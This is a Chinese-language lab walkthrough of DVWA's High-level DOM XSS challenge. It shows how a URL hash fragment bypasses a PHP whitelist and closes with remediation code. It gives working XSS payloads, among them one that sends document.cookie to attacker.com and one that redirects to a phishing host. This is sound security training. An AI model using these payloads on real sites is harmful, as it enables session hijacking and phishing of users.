文章目录
-
- [一、High 级别防护分析](#一、High 级别防护分析)
-
- [1.1 PHP 层防护代码](#1.1 PHP 层防护代码)
- [1.2 防护机制](#1.2 防护机制)
- [1.3 防护缺陷](#1.3 防护缺陷)
- 二、客户端代码分析
- 三、攻击原理
-
- [3.1 URL Hash 特性](#3.1 URL Hash 特性)
- [3.2 攻击思路](#3.2 攻击思路)
- [3.3 为什么 Hash 能绕过](#3.3 为什么 Hash 能绕过)
- 四、攻击过程
-
- [4.1 成功 Payload](#4.1 成功 Payload)
- [4.2 Payload 分解](#4.2 Payload 分解)
- [4.3 执行流程](#4.3 执行流程)
- [五、更多 High 级别 Payload](#五、更多 High 级别 Payload)
-
- [5.1 基础弹窗](#5.1 基础弹窗)
- [5.2 窃取 Cookie](#5.2 窃取 Cookie)
- [5.3 重定向攻击](#5.3 重定向攻击)
- [5.4 使用 `<svg>` 标签](#5.4 使用
<svg> 标签)
- [六、Low vs Medium vs High 对比](#六、Low vs Medium vs High 对比)
- 七、漏洞修复建议
-
- [7.1 修复客户端代码(根本修复)](#7.1 修复客户端代码(根本修复))
- [7.2 使用安全的 DOM API](#7.2 使用安全的 DOM API)
- [7.3 PHP 层增强](#7.3 PHP 层增强)
- 八、总结
-
- [8.1 High 级别防护的缺陷](#8.1 High 级别防护的缺陷)
- [8.2 攻击要点](#8.2 攻击要点)
- [8.3 安全启示](#8.3 安全启示)
- [8.4 为什么 High 级别仍然有漏洞](#8.4 为什么 High 级别仍然有漏洞)
一、High 级别防护分析
1.1 PHP 层防护代码
// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null( $_GET[ 'default' ]) ) {
# White list the allowable languages
switch ($_GET['default']) {
case "French":
case "English":
case "German":
case "Spanish":
# ok
break;
default:
header ("location: ?default=English");
exit;
}
}
1.2 防护机制
| 防护点 |
说明 |
| 防护方式 |
白名单验证 |
| 允许值 |
English, French, German, Spanish |
| 防护措施 |
不在白名单中则重定向到 ?default=English |
1.3 防护缺陷
- 只检查
$_GET['default'] --- 即 URL 参数部分(? 后面)
- URL hash (
# 后面的内容) 不会发送到服务器 --- PHP 无法检查 hash 部分
- 客户端 JavaScript 代码未修改 --- 仍然从完整 URL (
document.location.href) 读取参数
二、客户端代码分析
High 级别的客户端 JavaScript 代码与 Low/Medium 级别完全相同:
if (document.location.href.indexOf("default=") >= 0) {
var lang = document.location.href.substring(document.location.href.indexOf("default=")+8);
document.write("<option value='" + lang + "'>" + decodeURI(lang) + "</option>");
document.write("<option value='' disabled='disabled'>----</option>");
}
document.write("<option value='English'>English</option>");
document.write("<option value='French'>French</option>");
document.write("<option value='Spanish'>Spanish</option>");
document.write("<option value='German'>German</option>");
关键问题:
document.location.href 包含 完整的 URL ,包括 hash (#) 部分
- 代码从 URL 中查找
default= 并提取其后的所有内容
- hash 部分不会发送到服务器,但客户端 JS 可以读取
三、攻击原理
3.1 URL Hash 特性
| 部分 |
是否发送到服务器 |
客户端 JS 可读取 |
?default=English |
是 |
是 |
#payload |
否 |
是 |
3.2 攻击思路
URL: http://target.com/xss_d/?default=English#<恶意payload>
↓
服务器接收: GET /xss_d/?default=English
↓
PHP 检查: $_GET['default'] = "English" → 在白名单中 → 通过
↓
浏览器加载页面,JS 执行:
document.location.href = "http://target.com/xss_d/?default=English#<恶意payload>"
↓
JS 提取: lang = "English#<恶意payload>"
↓
document.write 执行: 恶意 payload 被写入 HTML
↓
XSS 攻击成功
3.3 为什么 Hash 能绕过
- HTTP 协议规定:浏览器发送 HTTP 请求时,不会将 URL hash 部分发送到服务器
- PHP 只能看到
$_GET['default'] = "English",看不到 hash 部分
- 客户端 JS 能看到 完整 URL,包括 hash 部分
- 代码逻辑 :
document.location.href.indexOf("default=") 会匹配到 ?default=English,然后 substring 会提取 English#<恶意payload>
四、攻击过程
4.1 成功 Payload
http://192.168.0.107/DVWA/vulnerabilities/xss_d/?default=English#</option></select><img src=x onerror=alert('XSS_High')>
URL 编码后 (hash 部分需要编码,= 不编码):
http://192.168.0.107/DVWA/vulnerabilities/xss_d/?default=English#%3C/option%3E%3C/select%3E%3Cimg%20src=x%20onerror=alert(%27XSS_High%27)%3E
4.2 Payload 分解
| 部分 |
作用 |
是否编码 |
?default=English |
通过 PHP 白名单验证 |
否 |
# |
Hash 分隔符,后面的内容不发送到服务器 |
否 |
%3C/option%3E |
闭合 <option> 标签 |
是 |
%3C/select%3E |
闭合 <select> 标签 |
是 |
%3Cimg%20src=x |
注入图片标签 |
是 |
onerror=alert('XSS_High') |
事件处理器,= 不编码 |
部分 |
%3E |
闭合 <img> 标签 |
是 |
4.3 执行流程
1. 浏览器请求: GET /DVWA/vulnerabilities/xss_d/?default=English
(hash 部分不发送)
2. PHP 检查: $_GET['default'] = "English" → 在白名单中 → 允许通过
3. 页面加载,JS 执行:
document.location.href = "...xss_d/?default=English#%3C/option%3E..."
4. JS 提取:
lang = "English#%3C/option%3E%3C/select%3E%3Cimg%20src=x%20onerror=alert('XSS_High')%3E"
5. decodeURI(lang) = "English#</option></select><img src=x onerror=alert('XSS_High')>"
6. document.write 写入:
<option value='English#...'>English#</option></select><img src=x onerror=alert('XSS_High')></option>
7. 浏览器解析:
- <option value='English#...'> --- option 开始
- English# --- text 内容
- </option> --- 闭合 option
- </select> --- 闭合 select
- <img src=x onerror=alert('XSS_High')> --- 渲染并触发 onerror 事件
8. XSS 攻击成功
五、更多 High 级别 Payload
5.1 基础弹窗
?default=English#</option></select><img src=x onerror=alert('XSS_High')>
5.2 窃取 Cookie
?default=English#</option></select><img src=x onerror=window.location='http://attacker.com/?c='+document.cookie>
5.3 重定向攻击
?default=English#</option></select><img src=x onerror=window.location='http://phishing.com'>
5.4 使用 <svg> 标签
?default=English#</option></select><svg onload=alert('XSS_High')>
六、Low vs Medium vs High 对比
| 特性 |
Low |
Medium |
High |
| PHP 层防护 |
无 |
黑名单 <script |
白名单验证 |
| 客户端代码 |
未修改 |
未修改 |
未修改 |
| 攻击难度 |
简单 |
中等 |
较难 |
| 绕过方法 |
直接注入 |
HTML 事件处理器 |
URL Hash |
| 关键技巧 |
无 |
= 不编码 |
# 不发送到服务器 |
七、漏洞修复建议
7.1 修复客户端代码(根本修复)
// 方法 1: 只读取 URL 参数,不包括 hash
const urlParams = new URLSearchParams(window.location.search);
const lang = urlParams.get('default');
// 方法 2: 白名单验证
const allowed = ['English', 'French', 'Spanish', 'German'];
if (allowed.includes(lang)) {
const option = document.createElement('option');
option.value = lang;
option.textContent = lang;
select.appendChild(option);
}
7.2 使用安全的 DOM API
// 避免 document.write,使用安全的 DOM 操作
const select = document.querySelector('select[name="default"]');
const allowed = ['English', 'French', 'Spanish', 'German'];
if (allowed.includes(lang)) {
const option = document.createElement('option');
option.value = lang;
option.textContent = lang; // textContent 自动转义
select.appendChild(option);
}
7.3 PHP 层增强
// 检查完整 URL,包括可能的 hash 注入(虽然 PHP 看不到 hash)
// 但可以在输出时进行 HTML 编码
$default = htmlspecialchars($_GET['default'], ENT_QUOTES, 'UTF-8');
八、总结
8.1 High 级别防护的缺陷
| 缺陷 |
说明 |
| 只防护服务器端 |
PHP 白名单只检查 $_GET 参数 |
| 忽略客户端漏洞 |
客户端 JS 代码未修改,仍然有漏洞 |
| URL Hash 盲区 |
Hash 部分不发送到服务器,但客户端 JS 可以读取 |
8.2 攻击要点
| 要点 |
说明 |
| 利用 URL Hash |
# 后面的内容不发送到服务器 |
| 绕过 PHP 白名单 |
?default=English 通过白名单 |
| 客户端 JS 漏洞 |
document.location.href 包含完整 URL |
| 跳出 select 上下文 |
</option></select> 闭合标签 |
= 不编码 |
确保浏览器正确解析事件处理器 |
8.3 安全启示
- 客户端和服务器端都需要防护 --- 只防护一端是不够的
- URL Hash 不是安全的 --- 客户端 JS 可以读取 hash 部分
- 白名单必须完整 --- 不仅要验证服务器端参数,还要验证客户端数据源
- 避免 document.write --- 使用安全的 DOM API
- 纵深防御 --- 多层防护比单层防护更可靠
8.4 为什么 High 级别仍然有漏洞
High 级别的开发者犯了一个常见错误:只修复了服务器端,忽略了客户端。
- PHP 白名单阻止了恶意参数值
- 但客户端 JS 仍然从完整 URL 读取数据
- URL hash 部分绕过了 PHP 检查
- 客户端 JS 将 hash 内容写入 DOM
根本原因 :客户端 JS 代码没有修改,仍然使用不安全的 document.location.href 和 document.write。